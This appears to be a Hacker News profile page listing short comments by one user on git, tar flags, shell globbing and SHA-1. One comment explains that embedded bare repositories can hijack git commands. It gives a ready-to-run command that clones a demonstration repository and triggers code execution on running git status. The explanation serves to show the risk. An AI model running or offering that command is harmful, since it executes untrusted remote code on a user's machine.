Better HN
topnewbestaskshowjobs
Log inSign up

tomlx

27 karma · joined Aug 17, 2016 (10y ago) · 10 submissions

Submissions

comment 3y ago · link · parent

was about to say that ...

> Tags: satire email

comment 3y ago · link · parent

none that i know of

3.

The risks of embedded bare repositories in Git (2022)(lwn.net ↗)

9 points · by tomlx · 3y ago · discuss

comment 3y ago · link · parent

git does not clone hooks, but if a subdirectory of a repo has the structure of a bare repo it can hijack git subcommands for code execution. try:

  git clone https://git.0x90.space/vmann/pwnd && cd pwnd/whoot && git status
it is a bit crazy this is not disabled by default yet.

comment 4y ago · link · parent

I never got why people think using tar is hard. Specify your archive File with f. want to eXtract it? add a x. want to Create it? add a c. Want it to be Verbose while doing that? add a v. if it's gZiped add a z. Granted, j for bzip2, t for listing is less obvious, but with that it's about everything you need for everyday usage and that more than suffices to disarm that bomb.

comment 4y ago · link · parent

Interestingly

  $ bash -c 'cd /var/empty; echo .*'
  . ..
but

  $ ksh -c 'cd /var/empty; echo .*'
  .*
Seems some ksh dev got bitten and restricted this ...

comment 9y ago · link · parent

This is beautiful. I will try to implement this once i'm at home ...

comment 9y ago · link · parent

Title is missleading. From the title I expected something about how to design a hash algorithm, but the article is just a walk through the specific operations SHA-1 performs w/o further explanation.

Can anyone recommand resources about the actual design of (cryptographic) hash algorithms?

comment 9y ago · link · parent

Compiles fine with -Wall -Werror. No warnings.

comment 10y ago · link · parent

Nice read. I liked it ... :)